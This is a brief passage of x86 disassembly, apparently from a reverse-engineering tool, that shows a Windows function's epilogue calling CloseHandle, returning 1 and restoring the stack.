call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 0xc